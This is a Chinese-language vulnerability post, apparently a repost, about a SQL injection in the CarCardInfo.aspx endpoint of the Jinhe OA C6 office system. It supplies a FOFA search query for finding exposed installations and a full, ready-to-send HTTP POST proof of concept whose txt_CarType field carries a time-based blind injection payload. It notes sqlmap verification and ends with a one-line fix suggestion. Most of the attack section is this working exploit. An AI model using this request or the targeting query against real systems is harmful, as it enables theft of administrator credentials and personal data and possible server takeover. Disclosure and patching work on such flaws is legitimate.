产品简介
金和OA协同办公管理系统软件（简称金和OA），本着简单、适用、高效的原则，贴合企事业单位的实际需求，实行通用化、标准化、智能化、人性化的产品设计，充分体现企事业单位规范管理、提高办公效率的核心思想，为用户提供一整套标准的办公自动化解决方案，以帮助企事业单位迅速建立便捷规范的办公环境。
漏洞概述
金和OA C6 CarCardInfo.aspx接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
指纹识别
fofa:
app="金和网络-金和OA"
漏洞利用
poc:
POST /c6/JHSoft.Web.Vehicle/CarCardInfo.aspx/ HTTP/1.1
Host: your_ip
Content-Length: 2096
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=dvljrtibwe4dne1nyvda0iw1; myie=false
Connection: close
_ListPage1LockNumber=1&_ListPage1RecordCount=0&__VIEWSTATE=%2FwEPDwUKMjAyNTc4NzA3NA8WAh4Ic3RyUXVlcnkFCWRlbGZsYWc9MBYCZg9kFgQCAg8PFgIeBFRleHQFBuafpeivomRkAgMPDxYMHglfUGFnZVNpemUCKB4PX1NvcnRBdHRyaWJ1dGVzMtgDAAEAAAD%2F%2F%2F%2F%2FAQAAAAAAAAAMAgAAAFFVc2VyV2ViQ29udHJvbC5EYXRhR3JpZCwgVmVyc2lvbj04LjUuNS4xMDAxLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW51bGwFAQAAADlVc2VyV2ViQ29udHJvbC5EYXRhR3JpZC5EYXRhR3JpZCtTb3J0QXR0cmlidXRlc0NvbGxlY3Rpb24BAAAAEEF0dHJpYkNvbGxlY3Rpb24EOFVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK1NvcnRBdHRyaWJ1dGVDb2xsZWN0aW9uAgAAAAIAAAAJAwAAAAUDAAAAOFVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK1NvcnRBdHRyaWJ1dGVDb2xsZWN0aW9uAQAAABNDb2xsZWN0aW9uQmFzZStsaXN0AxxTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0AgAAAAkEAAAABAQAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdAMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBQAACAgJBQAAAAAAAAAAAAAAEAUAAAAAAAAACx4MX1JlY29yZENvdW50Zh4HX2J1dHRvbjLsBAABAAAA%2F%2F%2F%2F%2FwEAAAAAAAAADAIAAABRVXNlcldlYkNvbnRyb2wuRGF0YUdyaWQsIFZlcnNpb249OC41LjUuMTAwMSwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAyVXNlcldlYkNvbnRyb2wuRGF0YUdyaWQuRGF0YUdyaWQrQnV0dG9uc0NvbGxlY3Rpb24BAAAAB2J1dHRvbnMEL1VzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW1Db2xsZWN0aW9uAgAAAAIAAAAJAwAAAAUDAAAAL1VzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW1Db2xsZWN0aW9uAQAAABNDb2xsZWN0aW9uQmFzZStsaXN0AxxTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0AgAAAAkEAAAABAQAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdAMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBQAACAgJBQAAAAEAAAABAAAAEAUAAAAEAAAACQYAAAANAwUGAAAAJVVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW0EAAAABF9JbWcGX1RpdGxlCF9EaXNwbGF5EV9Eb3NjcmlwdGlvblRpdGxlAQEAAQECAAAABgcAAAA3Li4vSkhzb2Z0LlVJLkxpYi9pbWFnZXMvaWNvbi50b29sYmFyLzE2cHgvZGV0ZXJtaW5lLnBuZwYIAAAABuehruWumgEGCQAAAAALHglfSWRlbnRpZnkCAR4LX2RhdGFTb3VyY2UFaTxyb290PjxyZWNvcmQ%2BPElEPjwvSUQ%2BPGl0ZW0gQ29sdW1uTmFtZT0n6L2m5Z6LJz48L2l0ZW0%2BPGl0ZW0gQ29sdW1uTmFtZT0n54mM54WnJz48L2l0ZW0%2BPC9yZWNvcmQ%2BPC9yb290PmRkZJju89%2Fcb0ViP%2BHqYZwpEbj%2BGmY0EecUW2zJyvdwmUng&txt_CarType=1');WAITFOR DELAY '0:0:5'--&txt_CarCode=1&bt_Search=%B2%E9%D1%AF&__VIEWSTATEGENERATOR=0A1FC31B&__EVENTTARGET=&__EVENTARGUMENT=
延迟5秒
延迟时间总是设置的两倍(难道是sql语句执行了两次？)
sqlmap验证
修复建议
sql语句使用预编译语句文章来源：https://www.toymoban.com/news/detail-792132.html
【情不知所起，一往而深，可惜大多由深转浅，相忘江湖。】文章来源地址https://www.toymoban.com/news/detail-792132.html
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